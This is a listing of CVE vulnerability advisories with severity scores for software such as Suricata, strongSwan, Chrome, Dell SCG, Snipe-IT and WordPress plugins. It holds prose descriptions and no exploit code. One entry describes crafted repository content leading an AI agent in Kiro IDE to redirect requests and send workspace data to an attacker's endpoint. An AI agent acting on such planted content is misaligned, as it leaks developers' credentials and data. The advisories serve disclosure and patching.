CVE-2026-	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata's inspection-buffer helper could leave an inspection pointer referencing freed memory after a chained transform caused the backing buffer to be	5.9	More

45751	reallocated. The issue is reached during a specific network traffic processing, and requires a specific but not malicious rule. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, avoid rules that chain `dotprefix` transform after another one.		Details
CVE-2026-87913	A missing S3 bucket ownership verification in the AWS Security Agent MCP server before 0.2.0 version might allow remote attackers to obtain the private source archive of a scanned workspace, including credentials and infrastructure state contained in that archive, via a pre-registered storage bucket whose name is derived from a publicly known account identifier. To remediate this issue, users should upgrade to version 0.2.0. Users should also verify that the scan output bucket in their account is owned by their own account, because upgrading does not release a bucket name that a third party has already registered.	5.9	More Details
CVE-2026-82215	The Payment Gateway PayPay for WooCommerce WordPress plugin from 0.5 to 0.9.3 does not verify the authenticity of the payment notifications it receives before acting on them, allowing unauthenticated attackers who know the store's merchant identifier to mark arbitrary orders as paid, or to cancel or fail them.	5.9	More Details
CVE-2026-45763	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, when Lua rule execution is enabled, the Lua sandbox memory limit was not consistently enforced for new allocations. Certain Lua allocation patterns could exceed `security.lua.max-bytes` without triggering the intended memory limit, making the configured sandbox limit unreliable. This requires Lua rules to be enabled and an affected Lua script/rule to be loaded. Version 8.0.5 contains a fix. As a workaround, disable `security.lua.allow-rules` unless Lua rules are required.	5.9	More Details
CVE-2026-78123	strongSwan 5.0.2 through 6.0.7 has an Expired Pointer Dereference in PKCS#7 parsing in the openssl plugin.	5.9	More Details
CVE-2026-18061	Improper restriction of XML external entity references in the RemoteQueryCachePlugin in AWS Advanced JDBC Wrapper 3.3.0 through 4.2.0 might allow an actor with write access to the shared cache infrastructure to disclose sensitive files from application hosts that read cached query results, including stored database and IAM role credentials, via crafted XML data in a cached column value. To remediate this issue, users should upgrade to version 4.3.0 or later.	5.9	More Details
CVE-2026-89090	An unrecovered panic in the event stream header decoder in Amazon AWS SDK for Go v2 before release-2026-03-23 might allow an unauthenticated remote actor to terminate the consuming application process via a crafted event stream response frame containing a header value type outside the valid range. To remediate this issue, users should upgrade to release-2026-03-23 or later, and patch any forked or derivative code.	5.9	More Details
CVE-2026-78126	strongSwan 4.1.10 through 6.0.7 allows a NULL pointer dereference in the eap-aka plugin.	5.9	More Details
CVE-2026-49837	GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. Versions prior to 4.6.0 contain a BGP OPEN capability parsing issue where several concrete capability decoders may parse data from the full remaining capability buffer instead of the slice bounded by the declared capability length, `CapLen`. A malformed BGP OPEN message can cause bytes from a following capability to be interpreted as part of the current capability. The most security-relevant case is the 4-octet AS capability, where a capability with `CapLen == 0` may cause the parser to read bytes from the following capability as the 4-octet AS value. This parsed value may later affect peer AS validation during BGP session establishment. Version 4.6.0 patches the issue.	5.9	More Details
CVE-2026-49838	GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. Prior to version 4.7.0, GoBGP accepts a zero-length AS_PATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP UPDATE validator: a malformed UPDATE that should be rejected as a malformed AS_PATH instead reaches an unchecked `p.Value[0]` access, allowing a configured confederation eBGP peer to trigger a denial of service. Version 4.7.0 patches the issue.	5.9	More Details
CVE-2026-45752	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, when certain detection transforms are chained, the decompress transform pipeline could read from an inspection buffer after it had been reallocated and freed. The issue is reached during network traffic processing, but requires a malicious rule as Suricata will crash whatever the traffic. Version 8.0.5 contains a fix. As a workaround, avoid rules that chain `gunzip` or `zlib_deflate` with `max-size` bigger than 4096 after another transform.	5.9	More Details
CVE-2026-87123	hbs is an Express view engine wrapper for Handlebars. Version 4.3.0 can crash the Node.js process during output escaping when an async helper, registered with registerAsyncHelper, resolves to an object whose toHTML property is truthy but not callable. Handlebars escapeExpression calls the toHTML method on any value that has a truthy toHTML, so such a value throws a TypeError, and because the async substitution runs on a later tick outside the render function's try/catch, the throw is an uncaught exception that terminates the process without sending a response. Only version 4.3.0 is affected, since the throwing escape was introduced by the fix for CVE-2026-16231 and earlier versions do not escape async helper values. It can be triggered	5.9	More Details

	remotely when an async helper resolves to an externally influenced object such as parsed JSON. The issue is fixed in hbs 4.3.1, and users should upgrade to hbs 4.3.1 or later.		
CVE-2026-88897	Flextype CMS through 1.0.0-alpha.3 accepts API authentication credentials through URL query string parameters in REST API routes. Attackers with access to web server, proxy, or monitoring logs can recover valid API token pairs that grant full API access.	5.9	More Details
CVE-2026-78483	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	5.9	More Details
CVE-2026-78129	strongSwan 4.6.2 through 6.0.7 has an infinite loop in PKCS#5 decryption.	5.9	More Details
CVE-2026-87912	A missing S3 bucket ownership verification in the AWS Security Agent plugin in Amazon aws-agents-for-devsecops before 1.1.0 might allow remote attackers to obtain the private source archive of a scanned workspace, including credentials and infrastructure state contained in that archive, via a pre-registered storage bucket whose name is derived from a publicly known account identifier. To remediate this issue, users should upgrade to version 1.1.0. Users should also verify that the scan output bucket in their account is owned by their own account, because upgrading does not release a bucket name that a third party has already registered.	5.9	More Details
CVE-2026-80341	The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.26 does not verify that a stored payment method belongs to the user attaching it, allowing any authenticated user, such as a subscriber, to bind another customer's stored card to their own account and then charge or delete it. Exploitation requires the attacker to already know the payment provider's identifier for the victim's stored method, which the Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.26 does not expose.	5.9	More Details
CVE-2026-19596	An XML External Entity (XXE) vulnerability exists in the XML collector of multiple versions of OpenNMS Meridian and Horizon. When OpenNMS collects XML from a source whose response is attacker-controlled (for example a compromised monitored host or an HTTP man-in-the-middle position), the collector's XML parser resolves external entities and external DTDs. This allows an attacker to read files accessible to the OpenNMS service account, including database credentials, and to induce out-of-band requests. The solution is to upgrade to Meridian 2024.3.13, 2025.0.10 and Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.	5.9	More Details
CVE-2026-87737	An issue was discovered in the mirage-crypto-ec package before 2.4.0 for OCaml. There is a timing side channel for NIST elliptic-curve scalar multiplication: the time required for a lookup can depend on a secret.	5.9	More Details
CVE-2026-88032	A use-after-free in the reactive client-side encryption component of the MongoDB Java Driver can cause native resources to be freed while an affected encrypted operation is still using them when the operation is cancelled. A party able to cause such an operation to be cancelled may cause the hosting application process to terminate. Reaching the issue requires an affected reactive encryption configuration that retrieves KMS credentials on demand.	5.9	More Details
CVE-2026-87482	Cleartext transmission of sensitive data in HttpsUpgrades in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via crafted network traffic. (Chromium security severity: Medium)	5.9	More Details
CVE-2026-81646	Out-of-bounds read vulnerability in the graphics module. Impact: Successful exploitation of this vulnerability may affect availability.	5.9	More Details
CVE-2026-78489	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	5.9	More Details
CVE-2026-87590	Improper input validation in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially leak sensitive information via crafted network traffic. (Chromium security severity: Medium)	5.9	More Details
CVE-2026-88884	Renovate is a dependency update automation tool. In versions before 44.3.1 (and Mend Renovate CE/EE images before 15.4.0, mend-renovate-ce Helm chart before 15.4.0, mend-renovate-enterprise-edition Helm chart before 10.4.0), digest updates are not subject to the internal `minimumReleaseAge` (stability age) checks. When a repository configures `minimumReleaseAge` and has dependencies with `updateType=digest` — for example GitHub Actions pinned to a commit SHA with a floating tag, Docker images, Go modules or NuGet packages — Renovate will still open a pull request for a newly published digest, marked only with a pending `renovate/stability-days` status check. A newly published, potentially malicious dependency version can therefore cause a PR to be raised and CI workflows to potentially run before the configured minimum release age has elapsed, which is precisely what the Minimum Release Age	5.8	More Details

	control is intended to prevent. The issue is fixed in Renovate 44.3.1; as a workaround, digest updates can be disabled or gated behind `dependencyDashboardApproval`.		
CVE-2026-36989	A SQL Injection vulnerability exists in LuxSoft LuxCal through 5.3.4L via rssfeed.php and common/retrieve.php.	5.8	More Details
CVE-2026-57825	In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.	5.7	More Details
CVE-2024-53922	An issue was discovered in the buffer queue driver in Samsung Automotive Processor Exynos Auto 8890, V7, V9, and V920. Lack of a length check leads to a Denial of Service in the kernel.	5.7	More Details
CVE-2026-89157	PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.	5.7	More Details
CVE-2026-88265	A flaw was found in crun. After pivot_root, reopening /dev/null for stdio can follow a symlink and attach a host file to container stdio, then change that file's ownership. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.	5.6	More Details
CVE-2026-88264	A flaw was found in crun. When the container configuration does not give /dev a dedicated mount, terminal setup can redirect /dev/console onto an attacker-controlled path, including via the read-only-rootfs bind-mount fallback. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.	5.6	More Details
CVE-2026-79968	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	5.6	More Details
CVE-2026-78135	libcharon in strongSwan 5.9.7 through 6.0.7 mishandles behavioral workflow in the IKEv2 state machine. Because CREATE_CHILD_SA requests are mishandled, there can be an authentication bypass.	5.6	More Details
CVE-2026-79967	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	5.6	More Details
CVE-2026-66674	Unauthenticated Bypass Vulnerability in Simple Cloudflare Turnstile <= 1.42.1 versions.	5.6	More Details
CVE-2026-79970	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	5.6	More Details
CVE-2026-79730	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	5.6	More Details
CVE-2026-49313	Permission control vulnerability in the app lock module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.	5.5	More Details
CVE-2026-77753	The Temporary Login Without Password WordPress plugin before 1.9.9 does not prevent a temporary user from creating an Application Password, and does not revoke one when the temporary access expires or is disabled, allowing the recipient of a temporary login to retain working access to the site over REST and XML-RPC after the administrator believes it has been withdrawn. The retained access carries whatever role was granted, which for the Temporary Login Without Password WordPress plugin before 1.9.9's main use case is Administrator.	5.5	More Details
CVE-2026-89332	Inclusion of functionality from an untrusted control sphere in the Kiro Powers feature in Amazon Kiro IDE before version 0.8.135 might allow remote unauthenticated actors to obtain sensitive information from a developer workstation. Crafted repository content can cause the agent to modify the workspace settings file, which redirects the Kiro Powers registry request to an actor controlled endpoint and sends workspace data to that endpoint when the Powers panel is opened. To remediate this issue, users should upgrade to Kiro IDE version 0.8.135 or later. Users who opened a project in an earlier version should also rotate any credentials that were present in that project.	5.5	More Details
CVE-2026-	Missing Authorization vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus About allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Pardus	5.5	More Details

8304	About: from 1.2.1 before 1.2.5.		
CVE-2026-21099	Improper access control in SettingsProvider prior to SMR Sep-2026 Release 1 allows local attackers to access sensitive information.	5.5	More Details
CVE-2026-77159	A symlink-following flaw was found in libvirt's qemuTPMEmulatorPrepareHost() function. The function uses a path-based chown() on the swtpm logfile without checking for symbolic links. A local attacker with access to the swtpm account can replace the logfile with a symlink, causing libvirtd (running as root) to transfer ownership of an arbitrary file to the swtpm user.	5.5	More Details
CVE-2026-57843	NetBSD contains an information disclosure vulnerability in mm_open() within sys/dev/mm.c that allows unprivileged local users to obtain real kernel virtual addresses by opening world-accessible devices such as /dev/null or /dev/zero, which incorrectly receive the PK_KMEM process flag. Attackers can exploit this misconfigured flag to bypass the CANSEE_KPTR obfuscation mechanism and read kernel virtual addresses for sensitive kernel structures including struct proc, kauth_cred, filedesc, and vmspace via sysctl KERN_PROC queries.	5.5	More Details
CVE-2026-87083	A weakness has been identified in tile-ai tilelang up to 0.1.14. This impacts the function KernelCache._load_kernel_from_disk of the file tilelang/cache/kernel_cache.py of the component Kernel Cache. Executing a manipulation can lead to deserialization. The attack may be performed from remote. This patch is called 11ec2397fe942e8b422d026af4a03d6e0a55ae6c. Applying a patch is advised to resolve this issue. Based on the release information, the fix has not been included in any official release yet.	5.5	More Details
CVE-2026-87552	Missing authorization in TrustedWebActivities in Google Chrome on on Android prior to 153.0.8010.36 allowed a local attacker to obtain sensitive information via a co-installed app. (Chromium security severity: High)	5.5	More Details
CVE-2026-85788	Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as whitespace. To remediate this issue, users should upgrade to version 1.0.23.	5.5	More Details
CVE-2026-88050	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, RecodedCharID::DeSerialize in src/ccutil/unicharcompress.h validates length_ but accepts negative code_ values from a crafted .traineddata recoder component. UnicharCompress::ComputeCodeRange in src/ccutil/unicharcompress.cpp can consequently produce code_range_ equal to zero, after which SetupDecoder indexes is_valid_start_ with the negative code on a size-zero vector. The resulting out-of-bounds bit write uses a large wrapped index and reliably causes a wild-address crash or allocation failure on the default LSTM engine. No fixed release is available as of this review.	5.5	More Details
CVE-2026-86782	The Visualizer WordPress plugin before 4.0.6 does not properly authorise access to its chart-building actions, allowing users with the Contributor role and above to publish, rename, and overwrite the content of posts and pages they do not own, including other users' private drafts.	5.5	More Details
CVE-2026-78484	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.	5.5	More Details
CVE-2026-78493	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.	5.5	More Details
CVE-2026-79694	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information Into Debugging Code vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	5.5	More Details
CVE-2026-86815	The BackWPup WordPress plugin before 5.7.5 does not properly restrict access to several of its REST API routes for job, backup-destination, and backup-execution management, allowing users holding a BackWPup WordPress plugin before 5.7.5-defined, administrator-assigned limited role to create and run backup jobs and exfiltrate a full database backup to an attacker-controlled destination.	5.5	More Details
CVE-2026-39020	An issue in WIngs3D v.2.4.1 allows a local attacker to cause a denial of service via a crafted Wavefront OBJ file	5.5	More Details
CVE-2026-90485	A flaw has been found in IOBit Uninstaller 15.5.0.11. Affected by this issue is the function sub_11838 of the file IURegistryFilter.sys of the component IOCTL Dispatch Handler. This manipulation causes null pointer dereference. The attack requires local access. The exploit has been published and may be used. Identical IURegistryFilter.sys ships across multiple IObit families. The vendor was contacted early about this disclosure	5.5	More Details

	but did not respond in any way.		
CVE-2026-79945	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.	5.5	More Details
CVE-2026-80124	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.	5.5	More Details
CVE-2026-79947	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to script injection.	5.5	More Details
CVE-2026-88055	AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.16.1 and earlier, the manager role can store meta_page_title or meta_page_favicon through /api/admin/system-preferences, and MetaGenerator inserts those values into production homepage HTML without escaping attribute values or text content. The values pass unchanged through server/models/systemSettings.js and reach MetaGenerator.generate() in server/index.js. #assembleMeta() in server/utils/boot/MetaGenerator.js concatenates the stored values into HTML. When an administrator visits the homepage /, injected JavaScript can read the administrator JWT and use it to create API keys, access or modify workspace and chat data, delete users, and perform other administrator actions. server/endpoints/admin.js accepts the manager-controlled settings before server/models/systemSettings.js returns them unchanged. No fixed version is available as of this review.	5.5	More Details
CVE-2026-78482	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.	5.5	More Details
CVE-2026-88049	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, prior .traineddata hardening added bounds checks to NetworkIO::CopyTimeStepGeneral and NetworkIO::Randomize in src/lstm/networkio.cpp but left NetworkIO::WriteTimeStepPart and NetworkIO::AddTimeStepPart unchecked. In LSTM::Forward in src/lstm/lstm.cpp, source_ is sized from the independently deserialized na_ field while the WriteTimeStepPart count is ns_, which comes from the CI gate WeightMatrix dim1() value. A crafted NT_LSTM layer can make ns_ much larger than na_, causing a heap out-of-bounds write during the first recognition step on the default LSTM engine and resulting in heap corruption, a crash, or potentially controlled corruption. No fixed release is available as of this review.	5.5	More Details
CVE-2025-51619	A vulnerability in the Thesycon DPC Latency Checker driver (dpc.sys) thru 1.4.0 allows local unprivileged users to cause a denial-of-service (BSOD) condition on Windows systems. The driver exposes an IOCTL interface (0x81772008) that accepts user-controlled input without validating pointers before passing them to kernel APIs. Specifically, it dereferences a user-supplied pointer and uses the resulting value in a call to ExSetTimerResolution, leading to an arbitrary kernel memory access. Exploiting this flaw results in a system crash.	5.5	More Details
CVE-2026-62133	Subscriber Cross Site Request Forgery (CSRF) in RTMKit <= 2.1.5 versions.	5.4	More Details
CVE-2026-87107	Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog deregistration path that may allow a local ACL token to delete peer-imported catalog objects. A caller with {{service:write}} or {{node:write}} permission may exploit this issue to remove services, checks, or nodes imported from a peered cluster without holding authority over the peer origin. This vulnerability (CVE-2026-87107) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.	5.4	More Details
CVE-2026-87571	Improper certificate validation in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)	5.4	More Details
CVE-2026-90542	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate that logged-in users can access live schedules before creating reminders via remindMe.json.php. Authenticated attackers can create scheduler reminders for private live schedules they cannot view and learn the private schedule title from the generated email job.	5.4	More Details
CVE-2026-85133	The WPLP Cookie Consent WordPress plugin before 4.4.2 does not perform nonce or capability checks on several of its settings AJAX actions, allowing any authenticated user, such as a subscriber, to read and destroy scan data belonging to the administrator and to overwrite the WPLP Cookie Consent WordPress plugin before 4.4.2's stored configuration.	5.4	More Details
	The Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is		

CVE-2026-11821	vulnerable to authorization bypass in all versions up to, and including, 4.1.17. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view, create, update, clone, and delete notification flow event automation workflows that should be restricted to administrators.	5.4	More Details
CVE-2022-26962	Italtel NFV 11.1.2-20210318 allows Multiple Stored XSS under NP_BCCAS-RMCTRL-01/IMCSCIWebGui/configuration.jsp?opration=list&object=announcementAS via the name, username, or mrfAnnouncementNameparameter. A malicious user leveraging this vulnerability could inject arbitrary JavaScript. The malicious payload will then be triggered every time an authenticated user browses the page containing it.	5.4	More Details
CVE-2026-87540	Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-36392	FairSketch Rise CRM Version 3.9.6 is vulnerable to Cross Site Scripting (XSS). An authenticated administrator can inject arbitrary JavaScript into an item's title, which is stored server-side and executed in the browser of any client user who visits the store page, enabling session hijacking, account takeover, and phishing.	5.4	More Details
CVE-2026-15460	The Bluetooth Classic (BR/EDR) L2CAP receive handler bt_l2cap_br_recv() in subsys/bluetooth/host/classic/l2cap_br.c dispatched inbound data PDUs based only on the destination channel ID, without checking that the target channel had reached the BT_L2CAP_CONNECTED state. A dynamic channel is assigned its RX CID and added to the connection's channel list while still in BT_L2CAP_CONNECTING (and later BT_L2CAP_CONFIG) — before configuration completes and, for PSMs that require security, before the peer is authenticated (l2cap_br_conn_req()). Because the channel is already findable by bt_l2cap_br_lookup_rx_cid() during this window, a remote peer within radio range can send a data PDU addressed to that CID and have it processed on a not-yet-established channel. The dispatch keys off channel fields (BR_CHAN(chan)->rx.mode, rx.mps) that are only initialized during configuration by l2cap_br_conf(); since channel objects are pooled and bt_l2cap_br_chan_del() does not reset rx.mode or the reassembly buffer _sdu, a reused channel can carry stale state into the CONNECTING window and route the frame into the retransmission/flow-control path (bt_l2cap_br_ret_fc_recv()) with stale parameters and a possibly stale _sdu pointer. The impact is delivery of attacker data to upper-layer protocol handlers on a half-open (and possibly unauthenticated) channel, plus operation on stale or partially initialized channel state on reused channel objects — leading to channel/link teardown (denial of service) and, in the stale-_sdu case, a dangling-pointer condition. The fix adds an explicit BR_CHAN(chan)->state < BT_L2CAP_CONNECTED guard that drops any data received before the channel is fully connected.	5.4	More Details
CVE-2026-87507	UI misrepresentation in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-87501	UI misrepresentation in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-40635	Dell PowerScale OneFS versions 9.12.0.0 through 9.13.1.0 contain an Insecure Temporary File vulnerability. A low privileged remote attacker could potentially exploit this vulnerability, leading to denial of service and information tampering.	5.4	More Details
CVE-2026-87496	UI misrepresentation in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-79640	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	5.4	More Details
CVE-2026-87635	UI misrepresentation in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-87583	UI misrepresentation in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)	5.4	More Details
CVE-2026-87575	Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	5.4	More Details
	Snipe-IT's predefined kit checkout path does not enforce Full Multiple Company Support (FMCS) tenant isolation on the checkout target. Unlike the single, bulk, API, accessory, license and consumable checkout		

CVE-2026-88894	paths, App\Services\PredefinedKitCheckoutService never calls $item->canCheckoutTo($target); it only performs the actor-vs-item policy check and an availability check before persisting the checkout. With FMCS enabled, a non-superuser who belongs to at least two companies and holds the assets.checkout permission can POST to /kits/{kit}/checkout with a user_id belonging only to company B and have a company-A asset (and likewise kit licenses, consumables and accessories) assigned to that user, bypassing the company-mismatch check that blocks the same operation on every other checkout path. The issue is fixed in Snipe-IT 8.7.2; it was runtime-verified on v8.6.3 and code-inspected on v8.7.1, and the affected service has lacked the check since 2019, so earlier FMCS deployments are likely also affected.	5.4	More Details
CVE-2026-86755	Snipe-IT versions 4.2.0 through 8.6.3 expose Laravel Passport's auto-registered personal-access-token routes (GET, POST, DELETE /oauth/personal-access-tokens*) with only 'web' and 'auth:web' middleware, without the self.api permission gate that Snipe-IT enforces on its own token endpoints (/account/api and /api/v1/account/personal-access-tokens). Any user with a valid web session and the corresponding CSRF token can POST to /oauth/personal-access-tokens and mint a long-lived bearer token for their own account, even when an administrator has denied the self.api permission. The issued token is still subject to existing per-endpoint authorization policies, so this is not a privilege escalation; it defeats the administrative control intended to block API/scripted access at the user's own permission level. Fixed in 8.7.0 (commit 3f74b8c), which registers overriding routes wrapped in the can:self.api middleware.	5.4	More Details
CVE-2026-87645	Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-86747	Snipe-IT is an open source IT asset management system. In versions up to and including 8.6.3, the report acceptance endpoints POST /reports/unaccepted_assets/sent_reminder (ReportsController::sentAssetAcceptanceReminder) and DELETE /reports/unaccepted_assets/{acceptanceId}/delete (ReportsController::deleteAssetAcceptance) are not correctly scoped when Full Multiple Company Support (FMCS) is enabled. In 8.6.3 the guard ReportsController::currentUserCanAccessAcceptance() early-exits with 'return true' when '! $user->company_id' is truthy, which is the case for every pivot-only user (a user associated with companies through the company_user pivot table whose scalar users.company_id column is NULL); versions prior to 8.6.3 lacked the guard altogether. As a result, an authenticated user holding the reports.view permission can send acceptance-reminder emails for, and permanently delete, any pending acceptance record in the install regardless of which company owns the underlying checkoutable. Deletion is destructive and forfeits the acceptance audit trail for the affected item, and the reminder email exposes limited cross-company acceptance context (item name and assignment metadata) to the recipient. Acceptance IDs are sequential integers and can be enumerated. This issue is fixed in version 8.7.0.	5.4	More Details
CVE-2026-87649	UI misrepresentation in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-86760	Snipe-IT versions 8.2.0 through 8.6.x (fixed in 8.7.0) contain an incorrect authorization flaw in app/Http/Controllers/Users/UsersController::update(). The single-user edit route assigned the activated field from the request payload before evaluating the canEditAuthFields authorization gate, so an authenticated non-admin user holding the users.edit permission in the target's company scope can submit a full valid PUT request to /users/{id} and toggle the activated flag on any user, including admin and superuser accounts. Deactivating an admin locks that account out of the application until another admin or superuser re-enables it. Only the activated field is affected; username, email, password and permissions remain protected by the gate, no data is disclosed, and the API (Api\UsersController::update) and bulk-edit paths are not affected.	5.4	More Details
CVE-2026-87653	UI misrepresentation in FullScreen in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)	5.4	More Details
CVE-2026-87655	Clickjacking in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-87656	Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	5.4	More Details
CVE-2026-87615	Race condition in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-12683	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Stored XSS. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.4	More Details

CVE-2026-71803	money-pos 1.0 contains a stored Cross-Site Scripting (XSS) vulnerability. When processing returns, the backend fails to filter or escape the goodsName parameter, directly concatenating it into the order log description; the frontend subsequently renders this content using v-html. An attacker with product creation privileges can inject a malicious JavaScript payload, causing unauthorized code execution when an administrator views the order logs.	5.4	More Details
CVE-2026-12682	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Stored XSS. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.4	More Details
